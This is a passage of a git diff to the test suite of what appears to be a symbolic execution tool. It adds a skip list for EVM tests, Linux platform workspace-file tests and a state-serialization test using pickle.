+'9536ae5ed3a92cd577d0c83a96909f64babd8de29f1f8516dc75fc51afec04cf','95766dcaa8d3e71bb028d8f4f9fefd22cb28ee179e7df5bcc2425b105a8d090c',
+'9c380b88838dca02ff0f517f64a61514654f7e734b989ed272fdc348de57e501', '9f3c956a07536777d6a8fa162b0331ab06b9f0448d48a719df62a8a5ee0c73fe',
+'a5e749f7d3555cfa3cd5b9a1fb7e296bd6d74d37b7eecea5f9404727407ab1dd', 'aef72030bfcd3ea0ded6cc89f3a151eea90987823f3cd2ea5b12b0db7ced5896',
+'b61e68d30132efa1c0e891f04b1ebfcfcaac76db5ac4d316cdcbb60bbe32da5c', 'b8c838c8c9fbd570edb5a783b43c429742af8cfe993dbdcae94cba03390fe3f3',
+'b96dbf50e26807dc7890f55ff5fce3ac378835a115187671c6882e8fe4256897', 'c008ef3e89c2dedbc5e953b74eadc515fd5cd172ba75ec229c67be66b95ec91a',
+'c44dfcdd9c3ebe9c215b5ac20ba1a662523a63e7e9a375200071ab062f23a775','c4ad831e6119348c5c48a840de9bb41efdfbeba5a86aa71d04e8c10611ebe316',
+'c4e33c1a7a3f756b3f9f223bccb70dee15a30f559d7648d3da2081c7862cbb16', 'd12665946c07d88384f335af064dbfc679283062bdbb17b56e1b812c3bd80dc9',
+'d197d4181060d54d4ce3965aca77fc97809b613b42ba95698d146907fd0946d8', 'd9c6725e08f795f167d187609ab9b356e737841c56744069ad581e80071dc6c3',
+'da5e09e2db0ad1cf1d68bd8f0b780cbd2f26f454f37d887bdac9e9fd42e2b1a1', 'e434a52cc9af21ef1204b5cdb333b376900fc5c2ece63b9d34fa4902908a455e',
+'e434a52cc9af21ef1204b5cdb333b376900fc5c2ece63b9d34fa4902908a455e', 'e7c8c8665467646d68964497d222df12d6db05efbc5d5de1bf27c471023c1932',
+'f76b7c41b0a7d2879851037f8eea928fc7302bd60fd6af4b6e4030a3a24436b4','f8660436772f63f5cd6bb20e12150cdc66f5238f78d872196f49bc9bf7b5d68d',
+'fa78200fce12b17e9c320d743ddd7d32094326376fe9f6bf9964b285a9350a7e', 'DynamicJump0_foreverOutOfGas', 'JDfromStorageDynamicJump0_foreverOutOfGas', 'ABAcalls1', 'ABAcalls3', 'CallToNameRegistratorTooMuchMemory1','callcodeToNameRegistrator0'):
+            skip = True
+        #print filename, test_name, tests[test_name]    
+        name = 'test_%s_%s'%(filename[:-5],test_name)
+        name = str(name.replace('.', '_'))
+        print gen_test(testcase, test_name, skip)
+
+    print '''
+if __name__ == '__main__':
+    unittest.main()'''
diff --git a/tests/test_linux.py b/tests/test_linux.py
index 8070530..5f486bc 100644
--- a/tests/test_linux.py
+++ b/tests/test_linux.py
@@ -13,6 +13,7 @@ class LinuxTest(unittest.TestCase):
 
     def setUp(self):
         self.linux = linux.Linux(self.BIN_PATH)
+        self.symbolic_linux = linux.SLinux.empty_platform('armv7')
 
     def test_regs_init_state_x86(self):
         x86_defaults = {
@@ -63,7 +64,7 @@ class LinuxTest(unittest.TestCase):
         nr_fstat64 = 197
 
         # Create a minimal state
-        model = linux.SLinux.empty_platform('armv7')
+        model = self.symbolic_linux
         model.current.memory.mmap(0x1000, 0x1000, 'rw ')
         model.current.SP = 0x2000-4
 
@@ -81,3 +82,11 @@ class LinuxTest(unittest.TestCase):
 
         print ''.join(model.current.read_bytes(stat, 100)).encode('hex')
 
+    def test_linux_workspace_files(self):
+        files = self.symbolic_linux.generate_workspace_files()
+        self.assertIn('syscalls', files)
+        self.assertIn('stdout', files)
+        self.assertIn('stdin', files)
+        self.assertIn('stderr', files)
+        self.assertIn('net', files)
+
diff --git a/tests/test_state.py b/tests/test_state.py
index 7b8eff3..ff1cd45 100644
--- a/tests/test_state.py
+++ b/tests/test_state.py
@@ -207,6 +207,60 @@ class StateTest(unittest.TestCase):
         self.assertEqual(msg, 'statemsg')
         raise _CallbackExecuted
 
+    def testContextSerialization(self):
+        import cPickle as pickle
+        initial_file = ''
+        new_file = ''
+        new_new_file = ''
+        constraints = ConstraintSet()
+        initial_state = State(constraints, FakePlatform())
+        initial_state.context['step'] = 10
+        initial_file = pickle.dumps(initial_state)
+        with initial_state as new_state:
+            self.assertEqual( initial_state.context['step'], 10)
+            self.assertEqual( new_state.context['step'], 10)
+
+            new_state.context['step'] = 20 
+
+            self.assertEqual( initial_state.context['step'], 10)
+            self.assertEqual( new_state.context['step'], 20)
+            new_file = pickle.dumps(new_state)
+
+            with new_state as new_new_state:
+                self.assertEqual( initial_state.context['step'], 10)
+                self.assertEqual( new_state.context['step'], 20)
+                self.assertEqual( new_new_state.context['step'], 20)
+
+                new_new_state.context['step'] += 10 
+
+                self.assertEqual( initial_state.context['step'], 10)
+                self.assertEqual( new_state.context['step'], 20)
+                self.assertEqual( new_new_state.context['step'], 30)
+
+                new_new_file = pickle.dumps(new_new_state)
+
+                self.assertEqual( initial_state.context['step'], 10)
+                self.assertEqual( new_state.context['step'], 20)
+                self.assertEqual( new_new_state.context['step'], 30)
+
+            self.assertEqual( initial_state.context['step'], 10)
+            self.assertEqual( new_state.context['step'], 20)
+
+        self.assertEqual( initial_state.context['step'], 10)
+
+        del initial_state
+        del new_state
+        del new_new_state
+
+
+
+        initial_state = pickle.loads(initial_file)
+        self.assertEqual( initial_state.context['step'], 10)
+        new_state = pickle.loads(new_file)
+        self.assertEqual( new_state.context['step'], 20)
+        new_new_state = pickle.loads(new_new_file)
+        self.assertEqual( new_new_state.context['step'], 30)
+        
     def test_state_gen(self):
         self.state.subscribe('will_generate_testcase', self._test_state_gen_helper)
         with self.assertRaises(_CallbackExecuted):
diff --git a/tests/test_workspace.py b/tests/test_workspace.py
index 135a6e3..6869f7b 100644
--- a/tests/test_workspace.py
+++ b/tests/test_workspace.py
@@ -99,13 +99,12 @@ class StateTest(unittest.TestCase):
 
         keys = [x.split('.')[1] for x in workspace.keys()]
 
+        for key in self.state.platform.generate_workspace_files():
+            self.assertIn(key, keys)
+
         # Make sure we log everything we should be logging
         self.assertIn('smt', keys)
         self.assertIn('trace', keys)
-        self.assertIn('syscalls', keys)
-        self.assertIn('stdout', keys)
-        self.assertIn('stderr', keys)
-        self.assertIn('stdin', keys)
         self.assertIn('messages', keys)
         self.assertIn('txt', keys)
         self.assertIn('pkl', keys)